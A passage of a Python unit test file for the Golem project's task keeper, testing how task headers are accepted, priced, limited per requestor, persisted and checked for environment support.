13.0\n self.tk.change_config(config_desc)\n with self.assertLogs('golem.task.taskkeeper', level='INFO'):\n self.assertFalse(\n core_deferred.sync_wait(self.tk.check_support(header)),\n )\n\n def test_price_equal(self):\n self._add_environment()\n header = get_task_header()\n header.max_price = 10.0\n config_desc = mock.Mock()\n config_desc.min_price = 10.0\n self.tk.change_config(config_desc)\n self.assertTrue(self.tk.check_support(header))\n\n def test_mask_mismatch(self):\n self._add_environment()\n header = get_task_header()\n header.max_price = 10.0\n header.mask.matches = mock.Mock(return_value=False)\n\n with self.assertNoLogs('golem.task.taskkeeper', level='INFO'):\n supported = core_deferred.sync_wait(self.tk.check_support(header))\n\n self.assertFalse(supported)\n self.assertIn(UnsupportReason.MASK_MISMATCH, supported.desc)\n\n\nclass TaskHeaderKeeperBase(TempDirFixture, LogTestCase):\n def setUp(self):\n super().setUp()\n self.thk = taskkeeper.TaskHeaderKeeper(\n old_env_manager=OldEnvManager(),\n new_env_manager=NewEnvManager(self.new_path),\n node=dt_p2p_factory.Node(),\n min_price=10.0,\n )\n\n\nclass TestTaskHeaderKeeperWithArchiver(TaskHeaderKeeperBase):\n def setUp(self):\n super().setUp()\n self.tar = mock.Mock(spec=taskarchiver.TaskArchiver)\n self.thk = TaskHeaderKeeper(\n old_env_manager=OldEnvManager(),\n new_env_manager=NewEnvManager(self.new_path),\n node=dt_p2p_factory.Node(),\n min_price=10.0,\n task_archiver=self.tar,\n )\n\n def test_change_config(self):\n e = Environment()\n e.accept_tasks = True\n self.thk.old_env_manager.add_environment(e)\n\n task_header = get_task_header()\n task_id = task_header.task_id\n task_header.max_price = 9.0\n self.thk.add_task_header(task_header)\n self.assertNotIn(task_id, self.thk.supported_tasks)\n self.assertIn(task_id, self.thk.task_headers)\n\n task_header = get_task_header(\"abc\")\n task_id2 = task_header.task_id\n task_header.max_price = 10.0\n self.thk.add_task_header(task_header)\n self.assertIn(task_id2, self.thk.supported_tasks)\n self.assertIn(task_id2, self.thk.task_headers)\n\n config_desc = mock.Mock()\n config_desc.min_price = 10.0\n self.thk.change_config(config_desc)\n self.assertNotIn(task_id, self.thk.supported_tasks)\n self.assertIn(task_id2, self.thk.supported_tasks)\n config_desc.min_price = 8.0\n self.thk.change_config(config_desc)\n self.assertIn(task_id, self.thk.supported_tasks)\n self.assertIn(task_id2, self.thk.supported_tasks)\n config_desc.min_price = 11.0\n self.thk.change_config(config_desc)\n self.assertNotIn(task_id, self.thk.supported_tasks)\n self.assertNotIn(task_id2, self.thk.supported_tasks)\n # Make sure the tasks stats are properly archived\n self.tar.reset_mock()\n config_desc.min_price = 9.5\n self.thk.change_config(config_desc)\n self.assertNotIn(task_id, self.thk.supported_tasks)\n self.assertIn(task_id2, self.thk.supported_tasks)\n self.tar.add_support_status.assert_any_call(\n task_id, SupportStatus(False, {UnsupportReason.MAX_PRICE: 9.0}))\n self.tar.add_support_status.assert_any_call(\n task_id2, SupportStatus(True, {}))\n\n def test_task_header_update_stats(self):\n e = Environment()\n e.accept_tasks = True\n self.thk.old_env_manager.add_environment(e)\n task_header = get_task_header(\"good\")\n assert self.thk.add_task_header(task_header)\n self.tar.add_task.assert_called_with(mock.ANY)\n task_id = task_header.task_id\n self.tar.add_support_status.assert_any_call(\n task_id, SupportStatus(True, {}))\n\n self.tar.reset_mock()\n task_header2 = get_task_header(\"bad\")\n task_id2 = task_header2.task_id\n task_header2.max_price = 1.0\n assert self.thk.add_task_header(task_header2)\n self.tar.add_task.assert_called_with(mock.ANY)\n self.tar.add_support_status.assert_any_call(\n task_id2, SupportStatus(False, {UnsupportReason.MAX_PRICE: 1.0}))\n\n\nclass TestTaskHeaderKeeper(TaskHeaderKeeperBase):\n def test_get_task(self):\n old_env_manager = OldEnvManager()\n # This is necessary because OldEnvManager is a singleton\n old_env_manager.environments = {}\n old_env_manager.support_statuses = {}\n\n self.assertIsNone(self.thk.get_task())\n task_header = get_task_header(\"uvw\")\n self.assertTrue(self.thk.add_task_header(task_header))\n self.assertIsNone(self.thk.get_task())\n e = Environment()\n e.accept_tasks = True\n self.thk.old_env_manager.add_environment(e)\n task_header2 = get_task_header(\"xyz\")\n self.assertTrue(self.thk.add_task_header(task_header2))\n th = self.thk.get_task()\n self.assertEqual(task_header2.to_dict(), th.to_dict())\n\n @freeze_time(as_arg=True)\n def test_old_tasks(frozen_time, self): # pylint: disable=no-self-argument\n e = Environment()\n e.accept_tasks = True\n self.thk.old_env_manager.add_environment(e)\n task_header = get_task_header()\n task_header.deadline = timeout_to_deadline(10)\n assert self.thk.add_task_header(task_header)\n\n task_id = task_header.task_id\n task_header2 = get_task_header(\"abc\")\n task_header2.deadline = timeout_to_deadline(1)\n task_id2 = task_header2.task_id\n assert self.thk.add_task_header(task_header2)\n assert self.thk.task_headers.get(task_id2) is not None\n assert self.thk.task_headers.get(task_id) is not None\n assert self.thk.removed_tasks.get(task_id2) is None\n assert self.thk.removed_tasks.get(task_id) is None\n assert len(self.thk.supported_tasks) == 2\n\n frozen_time.tick(timedelta(seconds=1.1)) # pylint: disable=no-member\n self.thk.remove_old_tasks()\n assert self.thk.task_headers.get(task_id2) is None\n assert self.thk.task_headers.get(task_id) is not None\n assert self.thk.removed_tasks.get(task_id2) is not None\n assert self.thk.removed_tasks.get(task_id) is None\n assert len(self.thk.supported_tasks) == 1\n assert self.thk.supported_tasks[0] == task_id\n\n @freeze_time(as_arg=True)\n def test_task_limit(frozen_time, self): # pylint: disable=no-self-argument\n limit = self.thk.max_tasks_per_requestor\n\n thd = get_task_header(\"ta\")\n thd.deadline = timeout_to_deadline(0.1)\n self.thk.add_task_header(thd)\n\n ids = [thd.task_id]\n for i in range(1, limit):\n thd = get_task_header(\"ta\")\n ids.append(thd.task_id)\n self.thk.add_task_header(thd)\n\n for id_ in ids:\n self.assertIn(id_, self.thk.task_headers)\n\n thd = get_task_header(\"tb0\")\n tb_id = thd.task_id\n self.thk.add_task_header(thd)\n\n for id_ in ids:\n self.assertIn(id_, self.thk.task_headers)\n\n self.assertIn(tb_id, self.thk.task_headers)\n\n frozen_time.tick(timedelta(seconds=0.1)) # pylint: disable=no-member\n\n thd = get_task_header(\"ta\")\n new_task_id = thd.task_id\n self.thk.add_task_header(thd)\n self.assertNotIn(new_task_id, self.thk.task_headers)\n\n for id_ in ids:\n self.assertIn(id_, self.thk.task_headers)\n self.assertIn(tb_id, self.thk.task_headers)\n\n frozen_time.tick(timedelta(seconds=0.1)) # pylint: disable=no-member\n self.thk.remove_old_tasks()\n\n thd = get_task_header(\"ta\")\n new_task_id = thd.task_id\n self.thk.add_task_header(thd)\n self.assertIn(new_task_id, self.thk.task_headers)\n\n self.assertNotIn(ids[0], self.thk.task_headers)\n for i in range(1, limit):\n self.assertIn(ids[i], self.thk.task_headers)\n self.assertIn(tb_id, self.thk.task_headers)\n\n @freeze_time(as_arg=True)\n # pylint: disable=no-self-argument\n def test_check_max_tasks_per_owner(freezer, self):\n\n tk = TaskHeaderKeeper(\n old_env_manager=OldEnvManager(),\n new_env_manager=NewEnvManager(self.new_path),\n node=dt_p2p_factory.Node(),\n min_price=10,\n max_tasks_per_requestor=10)\n limit = tk.max_tasks_per_requestor\n new_limit = 3\n\n ids = []\n for _ in range(new_limit):\n thd = get_task_header(\"ta\")\n ids.append(thd.task_id)\n tk.add_task_header(thd)\n\n freezer.tick(timedelta(seconds=0.1)) # pylint: disable=no-member\n\n thd = get_task_header(\"tb0\")\n tb0_id = thd.task_id\n tk.add_task_header(thd)\n\n freezer.tick(timedelta(seconds=0.1)) # pylint: disable=no-member\n\n def _assert_headers(ids_, len_):\n ids_.append(tb0_id)\n for id_ in ids_:\n self.assertIn(id_, tk.task_headers)\n self.assertEqual(len_, len(tk.task_headers))\n\n _assert_headers(ids, len(ids) + 1)\n\n new_ids = []\n for _ in range(new_limit, limit):\n thd = get_task_header(\"ta\")\n new_ids.append(thd.task_id)\n tk.add_task_header(thd)\n\n freezer.tick(timedelta(seconds=0.1)) # pylint: disable=no-member\n\n _assert_headers(ids + new_ids, limit + 1)\n\n # shouldn't remove any tasks\n tk.check_max_tasks_per_owner(thd.task_owner.key)\n\n _assert_headers(ids + new_ids, limit + 1)\n\n # Test if it skips a running task\n running_task_id = ids[0]\n tk.task_started(running_task_id)\n assert running_task_id in tk.running_tasks\n tk.max_tasks_per_requestor = tk.max_tasks_per_requestor - 1\n # shouldn't remove any tasks\n tk.check_max_tasks_per_owner(thd.task_owner.key)\n\n _assert_headers(ids + new_ids, limit + 1)\n\n # finish the task, restore state\n tk.task_ended(running_task_id)\n assert running_task_id not in tk.running_tasks\n\n tk.max_tasks_per_requestor = new_limit\n\n # should remove ta{3..9}\n tk.check_max_tasks_per_owner(thd.task_owner.key)\n\n _assert_headers(ids, new_limit + 1)\n\n # Test if it skips a running task\n running_task_id = ids[2]\n tk.task_started(running_task_id)\n assert running_task_id in tk.running_tasks\n tk.max_tasks_per_requestor = 1\n # shouldn't remove running_task_id\n tk.check_max_tasks_per_owner(thd.task_owner.key)\n\n # Should keep 0 and 2, since 2 is running\n _assert_headers([ids[0], ids[2]], 3)\n\n # finish the task, restore state\n tk.task_ended(running_task_id)\n assert running_task_id not in tk.running_tasks\n\n def test_get_unsupport_reasons(self):\n e = Environment()\n e.accept_tasks = True\n self.thk.old_env_manager.add_environment(e)\n\n # Supported task\n thd = get_task_header(\"good\")\n self.thk.add_task_header(thd)\n\n # Wrong version\n thd = get_task_header(\"wrong version\")\n thd.min_version = \"42.0.17\"\n self.thk.add_task_header(thd)\n\n # Wrong environment\n thd = get_task_header(\"wrong env\")\n thd.environment = \"UNKNOWN\"\n self.thk.add_task_header(thd)\n\n # Wrong price\n thd = get_task_header(\"wrong price\")\n thd.max_price = 1\n self.thk.add_task_header(thd)\n\n # Wrong price and version\n thd = get_task_header(\"wrong price and version\")\n thd.min_version = \"42.0.17\"\n thd.max_price = 1\n self.thk.add_task_header(thd)\n\n # And one more with wrong version\n thd = get_task_header(\"wrong version 2\")\n thd.min_version = \"42.0.44\"\n self.thk.add_task_header(thd)\n\n reasons = self.thk.get_unsupport_reasons()\n # 2 tasks with wrong price\n self.assertIn({'avg': 7, 'reason': 'max_price', 'ntasks': 2}, reasons)\n # 1 task with wrong environment\n self.assertIn({'avg': None,\n 'reason': 'environment_missing',\n 'ntasks': 1}, reasons)\n self.assertIn({'avg': None,\n 'reason': 'environment_not_accepting_tasks',\n 'ntasks': 1}, reasons)\n\n def test_get_owner(self):\n header = get_task_header()\n owner = header.task_owner.key\n key_id = header.task_id\n self.thk.add_task_header(header)\n assert self.thk.get_owner(key_id) == owner\n assert self.thk.get_owner(\"UNKNOWN\") is None\n\n\nclass TestTHKTaskEnded(TaskHeaderKeeperBase):\n def test_task_not_found(self):\n task_id = 'non existent id'\n self.assertNotIn(task_id, self.thk.running_tasks)\n self.thk.task_ended(task_id)\n\n\ndef get_dict_task_header(key_id_seed=\"kkk\"):\n key_id = str.encode(key_id_seed)\n return {\n \"task_id\": idgenerator.generate_id(key_id),\n \"task_owner\": {\n \"node_name\": \"Bob's node\",\n \"key\": encode_hex(key_id)[2:],\n \"pub_addr\": \"10.10.10.10\",\n \"pub_port\": 10101\n },\n \"environment\": \"DEFAULT\",\n \"deadline\": timeout_to_deadline(1201),\n \"subtask_timeout\": 120,\n \"subtasks_count\": 1,\n \"max_price\": 10,\n \"min_version\": golem.__version__,\n \"estimated_memory\": 0,\n 'mask': Mask().to_bytes(),\n 'timestamp': 0,\n 'signature': None\n }\n\n\ndef get_task_header(key_id_seed=\"kkk\", **kwargs):\n th_dict_repr = get_dict_task_header(key_id_seed=key_id_seed)\n th_dict_repr.update(kwargs)\n return dt_tasks.TaskHeader(**th_dict_repr)\n\n\n@mock.patch('golem.task.taskkeeper.ProviderStatsManager', mock.Mock())\nclass TestCompTaskKeeper(LogTestCase, PEP8MixIn, TempDirFixture):\n PEP8_FILES = [\n \"golem/task/taskkeeper.py\",\n ]\n\n def setUp(self):\n super(TestCompTaskKeeper, self).setUp()\n random.seed()\n\n def _dump_some_tasks(self, tasks_dir):\n ctk = CompTaskKeeper(tasks_dir)\n\n test_headers = []\n test_subtasks_ids = []\n for _ in range(10):\n header = get_task_header()\n header.deadline = timeout_to_deadline(1)\n header.subtask_timeout = 3\n\n test_headers.append(header)\n price = calculate_subtask_payment(\n int(random.random() * 100),\n header.subtask_timeout,\n )\n ctk.add_request(header, price, 0.0, 1)\n\n ctd = ComputeTaskDef()\n ctd['task_id'] = header.task_id\n ctd['subtask_id'] = idgenerator.generate_new_id_from_id(\n header.task_id,\n )\n ctd['deadline'] = timeout_to_deadline(header.subtask_timeout - 1)\n ttc = msg_factories.tasks.TaskToComputeFactory(\n price=price,\n size=1024\n )\n ttc.compute_task_def = ctd\n ttc.resources_options = {\n 'client_id': HyperdriveClient.CLIENT_ID,\n 'version': HyperdriveClient.VERSION,\n 'options': {}\n }\n self.assertTrue(ctk.receive_subtask(ttc))\n test_subtasks_ids.append(ctd['subtask_id'])\n del ctk\n\n another_ctk = CompTaskKeeper(tasks_dir)\n for (subtask_id, header) in zip(test_subtasks_ids, test_headers):\n self.assertIn(subtask_id, another_ctk.subtask_to_task)\n self.assertIn(header.task_id, another_ctk.active_tasks)\n\n @mock.patch('golem.core.golem_async.async_run', async_run)\n def test_persistence(self):\n \"\"\"Tests whether tasks are persistent between restarts.\"\"\"\n tasks_dir = Path(self.path)\n self._dump_some_tasks(tasks_dir)\n\n @mock.patch('golem.core.golem_async.async_run', async_run)\n @mock.patch('golem.task.taskkeeper.common.get_timestamp_utc')\n def test_remove_old_tasks(self, timestamp):\n timestamp.return_value = int(time.time())\n tasks_dir = Path(self.path)\n self._dump_some_tasks(tasks_dir)\n\n ctk = CompTaskKeeper(tasks_dir)\n ctk.remove_old_tasks()\n\n self.assertTrue(any(ctk.active_tasks))\n self.assertTrue(any(ctk.subtask_to_task))\n timestamp.return_value = int(time.time() + 1)\n ctk.remove_old_tasks()\n self.assertTrue(any(ctk.active_tasks))\n self.assertTrue(any(ctk.subtask_to_task))\n timestamp.return_value = int(time.time() + 300)\n ctk.remove_old_tasks()\n self.assertTrue(not any(ctk.active_tasks))\n self.assertTrue(not any(ctk.subtask_to_task))\n\n @mock.patch('golem.task.taskkeeper.CompTaskKeeper.dump', mock.Mock())\n def test_comp_keeper(self):\n ctk = CompTaskKeeper(Path('ignored'))\n header = get_task_header()\n header.task_id = \"xyz\"\n header.subtask_timeout = 1\n\n with self.assertRaises(TypeError):\n ctk.add_request(header, \"not a number\", 0.0, 1)\n with self.assertRaises(ValueError):\n ctk.add_request(header, -2, 0.0, 1)\n\n budget = 5 * denoms.ether\n ctk.add_request(header, budget, 0.0, 1)\n self.assertEqual(ctk.active_tasks[\"xyz\"].requests, 1)\n self.assertEqual(ctk.active_task_offers[\"xyz\"], budget)\n self.assertEqual(ctk.active_tasks[\"xyz\"].header, header)\n budget = 0.1 * denoms.ether\n ctk.add_request(header, budget, 0.0, 1)\n self.assertEqual(ctk.active_tasks[\"xyz\"].requests, 2)\n self.assertEqual(ctk.active_task_offers[\"xyz\"], budget)\n self.assertEqual(ctk.active_tasks[\"xyz\"].header, header)\n header.task_id = \"xyz2\"\n budget = 314 * denoms.finney\n ctk.add_request(header, budget, 0.0, 1)\n self.assertEqual(ctk.active_task_offers[\"xyz2\"], budget)\n header.task_id = \"xyz\"\n thread = get_task_header()\n thread.task_id = \"qaz123WSX\"\n with self.assertRaises(ValueError):\n ctk.add_request(thread, -1, 0.0, 1)\n with self.assertRaises(TypeError):\n ctk.add_request(thread, '1', 0.0, 1)\n ctk.add_request(thread, 12, 0.0, 1)\n\n ctd = ComputeTaskDef()\n ttc = msg_factories.tasks.TaskToComputeFactory(price=0)\n ttc.compute_task_def = ctd\n with self.assertLogs(logger, level=\"WARNING\"):\n self.assertFalse(ctk.receive_subtask(ttc))\n with self.assertLogs(logger, level=\"WARNING\"):\n self.assertIsNone(ctk.get_node_for_task_id(\"abc\"))\n\n with self.assertLogs(logger, level=\"WARNING\"):\n ctk.request_failure(\"abc\")\n ctk.request_failure(\"xyz\")\n self.assertEqual(ctk.active_tasks[\"xyz\"].requests, 1)\n\n def test_receive_subtask_problems(self):\n ctk = CompTaskKeeper(Path(self.path))\n th = get_task_header()\n task_id = th.task_id\n price = calculate_subtask_payment(\n int(random.random() * 100),\n th.subtask_timeout,\n )\n ctk.add_request(th, price, 0.0, 1)\n subtask_id = idgenerator.generate_new_id_from_id(task_id)\n ctd = ComputeTaskDef()\n ctd['task_id'] = task_id\n ctd['subtask_id'] = subtask_id\n ctd['deadline'] = timeout_to_deadline(th.subtask_timeout - 1)\n ttc = msg_factories.tasks.TaskToComputeFactory(price=price)\n ttc.compute_task_def = ctd\n self.assertTrue(ctk.receive_subtask(ttc))\n assert ctk.active_tasks[task_id].requests == 0\n assert ctk.subtask_to_task[subtask_id] == task_id\n assert ctk.check_task_owner_by_subtask(th.task_owner.key, subtask_id)\n assert not ctk.check_task_owner_by_subtask(th.task_owner.key, \"!!!\")\n assert not ctk.check_task_owner_by_subtask('???', subtask_id)\n subtask_id2 = idgenerator.generate_new_id_from_id(task_id)\n ctd2 = ComputeTaskDef()\n ctd2['task_id'] = task_id\n ctd2['subtask_id'] = subtask_id2\n ttc.compute_task_def = ctd2\n self.assertFalse(ctk.receive_subtask(ttc))\n assert ctk.active_tasks[task_id].requests == 0\n assert ctk.subtask_to_task.get(subtask_id2) is None\n assert ctk.subtask_to_task[subtask_id] == task_id\n ctk.active_tasks[task_id].requests = 1\n ttc.compute_task_def = ctd\n self.assertFalse(ctk.receive_subtask(ttc))\n assert ctk.active_tasks[task_id].requests == 1\n\n def test_check_comp_task_def(self):\n ctk = CompTaskKeeper(self.new_path)\n header = get_task_header()\n task_id = header.task_id\n ctk.add_request(header, 40003, 0.0, 1)\n ctk.active_tasks[task_id].requests = 0\n subtask_id = idgenerator.generate_new_id_from_id(task_id)\n comp_task_def = {\n 'task_id': task_id,\n 'subtask_id': subtask_id,\n 'deadline': get_timestamp_utc() + 100,\n }\n with self.assertLogs(logger, level=\"INFO\") as logs:\n assert not ctk.check_comp_task_def(comp_task_def)\n assert 'Cannot accept subtask %s for task %s. ' \\\n 'Request for this task was not sent.' % (subtask_id, task_id)\\\n in logs.output[0]\n\n ctk.active_tasks[task_id].requests = 1\n comp_task_def['deadline'] = 0\n with self.assertLogs(logger, level=\"INFO\") as logs:\n assert not ctk.check_comp_task_def(comp_task_def)\n assert 'Cannot accept subtask %s for task %s. ' \\\n 'Request for this task has wrong deadline 0' % (subtask_id,\n task_id) \\\n in logs.output[0]\n\n comp_task_def['deadline'] = get_timestamp_utc() + 240\n\n with self.assertLogs(logger, level=\"INFO\"):\n assert not ctk.check_comp_task_def(comp_task_def)\n\n comp_task_def['deadline'] = get_timestamp_utc() + 100\n assert ctk.check_comp_task_def(comp_task_def)\n\n ctk.active_tasks[task_id].subtasks[subtask_id] = comp_task_def\n with self.assertLogs(logger, level=\"INFO\") as logs:\n assert not ctk.check_comp_task_def(comp_task_def)\n assert 'Cannot accept subtask %s for task %s. ' \\\n 'Definition of this subtask was already received.' % (subtask_id,\n task_id) \\\n in logs.output[0]\n\n del ctk.active_tasks[task_id].subtasks[subtask_id]\n assert ctk.check_comp_task_def(comp_task_def)\n\n comp_task_def['subtask_id'] = \"abc\"\n with self.assertLogs(logger, level=\"INFO\") as log_:\n assert not ctk.check_comp_task_def(comp_task_def)\n assert \"Cannot accept subtask abc for task %s. \" \\\n \"Subtask id was not generated from requestor's \" \\\n \"key.\" % (task_id) in log_.output[0]\n\n def test_add_package_paths(self):\n ctk = CompTaskKeeper(self.new_path)\n task_id = 'veryimportanttask'\n package_paths = ['path/to/file']\n ctk.add_package_paths(task_id, package_paths)\n self.assertEqual(ctk.task_package_paths[task_id], package_paths)\n\n def test_get_package_paths(self):\n ctk = CompTaskKeeper(self.new_path)\n task_id = 'veryimportanttask'\n package_paths = ['path/to/file']\n ctk.task_package_paths[task_id] = package_paths\n self.assertEqual(ctk.get_package_paths(task_id), package_paths)\n\n def test_package_paths_restore(self):\n ctk = CompTaskKeeper(self.new_path)\n task_id = 'veryimportanttask'\n package_paths = ['path/to/file']\n ctk.add_package_paths(task_id, package_paths)\n ctk._dump_tasks()\n ctk.task_package_paths = {}\n ctk.restore()\n self.assertEqual(ctk.get_package_paths(task_id), package_paths)\n\n\nclass TestTaskHeaderKeeperBase(TwistedTestCase):\n\n def setUp(self) -> None:\n super().setUp()\n self.old_env_manager = mock.Mock(spec=OldEnvManager)\n self.new_env_manager = mock.Mock(spec=NewEnvManager)\n self.keeper = TaskHeaderKeeper(\n old_env_manager=self.old_env_manager,\n new_env_manager=self.new_env_manager,\n node=dt_p2p_factory.Node()\n )\n\n def _patch_keeper(self, method):\n patch = mock.patch(f'golem.task.taskkeeper.TaskHeaderKeeper.{method}')\n self.addCleanup(patch.stop)\n return patch.start()\n\n\nclass TestCheckSupport(TestTaskHeaderKeeperBase):\n\n def setUp(self) -> None:\n super().setUp()\n self.check_new_env = self._patch_keeper('_check_new_environment')\n self.check_old_env = self._patch_keeper('_check_old_environment')\n self.check_mask = self._patch_keeper('check_mask')\n self.check_price = self._patch_keeper('check_price')\n\n @inlineCallbacks\n def test_new_env_unsupported(self):\n # Given\n status = SupportStatus.err({\n UnsupportReason.ENVIRONMENT_UNSUPPORTED: 'test_env'\n })\n self.check_new_env.return_value = Deferred()\n self.check_new_env.return_value.callback(status)\n self.check_mask.return_value = SupportStatus.ok()\n self.check_price.return_value = SupportStatus.ok()\n\n # When\n header = get_task_header(\n environment=\"test_env\",\n environment_prerequisites={'key': 'value'}\n )\n result = yield self.keeper.check_support(header)\n\n # Then\n self.assertEqual(result, status)\n self.check_new_env.assert_called_once_with(\n header.environment, header.environment_prerequisites)\n self.check_old_env.assert_not_called()\n self.check_mask.assert_called_once_with(header)\n self.check_price.assert_called_once_with(header)\n\n @inlineCallbacks\n def test_new_env_ok(self):\n # Given\n status = SupportStatus.ok()\n self.check_new_env.return_value = Deferred()\n self.check_new_env.return_value.callback(status)\n self.check_mask.return_value = SupportStatus.ok()\n self.check_price.return_value = SupportStatus.ok()\n\n # When\n header = get_task_header(\n environment=\"test_env\",\n environment_prerequisites={'key': 'value'}\n )\n result = yield self.keeper.check_support(header)\n\n # Then\n self.assertEqual(result, status)\n self.check_new_env.assert_called_once_with(\n header.environment, header.environment_prerequisites)\n self.check_old_env.assert_not_called()\n self.check_mask.assert_called_once_with(header)\n self.check_price.assert_called_once_with(header)\n\n @inlineCallbacks\n def test_old_env_unsupported(self):\n # Given\n status = SupportStatus.err({\n UnsupportReason.ENVIRONMENT_UNSUPPORTED: 'test_env'\n })\n self.check_old_env.return_value = status\n self.check_mask.return_value = SupportStatus.ok()\n self.check_price.return_value = SupportStatus.ok()\n\n # When\n header = get_task_header(environment=\"test_env\")\n result = yield self.keeper.check_support(header)\n\n # Then\n self.assertEqual(result, status)\n self.check_new_env.assert_not_called()\n self.check_old_env.assert_called_once_with(header.environment)\n self.check_mask.assert_called_once_with(header)\n self.check_price.assert_called_once_with(header)\n\n @inlineCallbacks\n def test_old_env_ok(self):\n # Given\n status = SupportStatus.ok()\n self.check_old_env.return_value = status\n self.check_mask.return_value = SupportStatus.ok()\n self.check_price.return_value = SupportStatus.ok()\n\n # When\n header = get_task_header(environment=\"test_env\")\n result = yield self.keeper.check_support(header)\n\n # Then\n self.assertEqual(result, status)\n self.check_new_env.assert_not_called()\n self.check_old_env.assert_called_once_with(header.environment)\n self.check_mask.assert_called_once_with(header)\n self.check_price.assert_called_once_with(header)\n\n @inlineCallbacks\n def test_mask_mismatch(self):\n # Given\n status = SupportStatus.err({\n UnsupportReason.MASK_MISMATCH: '0xdeadbeef'\n })\n self.check_old_env.return_value = SupportStatus.ok()\n self.check_mask.return_value = status\n self.check_price.return_value = SupportStatus.ok()\n\n # When\n header = get_task_header(environment=\"test_env\")\n result = yield self.keeper.check_support(header)\n\n # Then\n self.assertEqual(result, status)\n self.check_new_env.assert_not_called()\n self.check_old_env.assert_called_once_with(header.environment)\n self.check_mask.assert_called_once_with(header)\n self.check_price.assert_called_once_with(header)\n\n @inlineCallbacks\n def test_price_too_low(self):\n # Given\n status = SupportStatus.err({\n UnsupportReason.MAX_PRICE: 10\n })\n self.check_old_env.return_value = SupportStatus.ok()\n self.check_mask.return_value = SupportStatus.ok()\n self.check_price.return_value = status\n\n # When\n header = get_task_header(environment=\"test_env\")\n result = yield self.keeper.check_support(header)\n\n # Then\n self.assertEqual(result, status)\n self.check_new_env.assert_not_called()\n self.check_old_env.assert_called_once_with(header.environment)\n self.check_mask.assert_called_once_with(header)\n self.check_price.assert_called_once_with(header)\n\n @inlineCallbacks\n def test_all_wrong(self):\n # Given\n env_status = SupportStatus.err({\n UnsupportReason.ENVIRONMENT_MISSING: \"test_env\"\n })\n mask_status = SupportStatus.err({\n UnsupportReason.MASK_MISMATCH: '0xdeadbeef'\n })\n price_status = SupportStatus.err({\n UnsupportReason.MAX_PRICE: 10\n })\n self.check_old_env.return_value = env_status\n self.check_mask.return_value = mask_status\n self.check_price.return_value = price_status\n\n # When\n header = get_task_header(environment=\"new_env\")\n result = yield self.keeper.check_support(header)\n\n # Then\n self.assertEqual(\n result, env_status.join(mask_status).join(price_status))\n self.check_new_env.assert_not_called()\n self.check_old_env.assert_called_once_with(header.environment)\n self.check_mask.assert_called_once_with(header)\n self.check_price.assert_called_once_with(header)\n\n\nclass TestCheckOldEnvironment(TestTaskHeaderKeeperBase):\n\n def test_ok(self):\n # Given\n self.old_env_manager.accept_tasks.return_value = True\n self.old_env_manager.get_support_status.return_value = \\\n SupportStatus.ok()\n\n # When\n env_id = \"test_env\"\n result = self.keeper._check_old_environment(env_id)\n\n # Then\n self.assertEqual(result, SupportStatus.ok())\n self.old_env_manager.accept_tasks.assert_called_once_with(env_id)\n self.old_env_manager.get_support_status.assert_called_once_with(env_id)\n\n def test_not_accepting_tasks(self):\n # Given\n self.old_env_manager.accept_tasks.return_value = False\n self.old_env_manager.get_support_status.return_value = \\\n SupportStatus.ok()\n\n # When\n env_id = \"test_env\"\n result = self.keeper._check_old_environment(env_id)\n\n # Then\n self.assertEqual(result, SupportStatus.err({\n UnsupportReason.ENVIRONMENT_NOT_ACCEPTING_TASKS: env_id\n }))\n self.old_env_manager.accept_tasks.assert_called_once_with(env_id)\n self.old_env_manager.get_support_status.assert_called_once_with(env_id)\n\n def test_env_unsupported(self):\n # Given\n env_id = \"test_env\"\n status = SupportStatus.err({\n UnsupportReason.ENVIRONMENT_UNSUPPORTED: env_id\n })\n self.old_env_manager.accept_tasks.return_value = True\n self.old_env_manager.get_support_status.return_value = status\n\n # When\n result = self.keeper._check_old_environment(env_id)\n\n # Then\n self.assertEqual(result, status)\n self.old_env_manager.accept_tasks.assert_called_once_with(env_id)\n self.old_env_manager.get_support_status.assert_called_once_with(env_id)\n\n def test_env_unsupported_and_not_accepting_tasks(self):\n # Given\n env_id = \"test_env\"\n status = SupportStatus.err({\n UnsupportReason.ENVIRONMENT_UNSUPPORTED: env_id\n })\n self.old_env_manager.accept_tasks.return_value = False\n self.old_env_manager.get_support_status.return_value = status\n\n # When\n result = self.keeper._check_old_environment(env_id)\n\n # Then\n self.assertEqual(result, status.join(SupportStatus.err({\n UnsupportReason.ENVIRONMENT_NOT_ACCEPTING_TASKS: env_id\n })))\n self.old_env_manager.accept_tasks.assert_called_once_with(env_id)\n self.old_env_manager.get_support_status.assert_called_once_with(env_id)\n\n\nclass TestCheckNewEnvironment(TestTaskHeaderKeeperBase):\n\n @inlineCallbacks\n def test_env_missing(self):\n # Given\n self.new_env_manager.environment.side_effect = KeyError(\"test\")\n\n # When\n env_id = \"test_env\"\n result = yield self.keeper._check_new_environment(env_id, {})\n\n # Then\n self.assertEqual(result, SupportStatus.err({\n UnsupportReason.ENVIRONMENT_MISSING: env_id\n }))\n self.new_env_manager.environment.assert_called_once_with(env_id)\n\n @inlineCallbacks\n def test_prerequisites_parsing_error(self):\n # Given\n env = self.new_env_manager.environment.return_value\n env.parse_prerequisites.side_effect = ValueError(\"test\")\n\n # When\n env_id = \"test_env\"\n prereqs_dict = {\"key\": \"value\"}\n result = yield self.keeper._check_new_environment(env_id, prereqs_dict)\n\n # Then\n self.assertEqual(result, SupportStatus.err({\n UnsupportReason.ENVIRONMENT_UNSUPPORTED: env_id\n }))\n self.new_env_manager.environment.assert_called_once_with(env_id)\n env.parse_prerequisites.assert_called_once_with(prereqs_dict)\n env.install_prerequisites.assert_not_called()\n\n @inlineCallbacks\n def test_prerequisites_installation_error(self):\n # Given\n install_result = Deferred()\n install_result.callback(False) # False means installation failed\n env = self.new_env_manager.environment.return_value\n env.install_prerequisites.return_value = install_result\n\n # When\n env_id = \"test_env\"\n prereqs_dict = {\"key\": \"value\"}\n result = yield self.keeper._check_new_environment(env_id, prereqs_dict)\n\n # Then\n self.assertEqual(result, SupportStatus.err({\n UnsupportReason.ENVIRONMENT_UNSUPPORTED: env_id\n }))\n self.new_env_manager.environment.assert_called_once_with(env_id)\n env.parse_prerequisites.assert_called_once_with(prereqs_dict)\n env.install_prerequisites.assert_called_once_with(\n env.parse_prerequisites())\n\n @inlineCallbacks\n def test_ok(self):\n # Given\n install_result = Deferred()\n install_result.callback(True) # True means installation succeeded\n env = self.new_env_manager.environment.return_value\n env.install_prerequisites.return_value = install_result\n\n # When\n env_id = \"test_env\"\n prereqs_dict = {\"key\": \"value\"}\n result = yield self.keeper._check_new_environment(env_id, prereqs_dict)\n\n # Then\n self.assertEqual(result, SupportStatus.ok())\n self.new_env_manager.environment.assert_called_once_with(env_id)\n 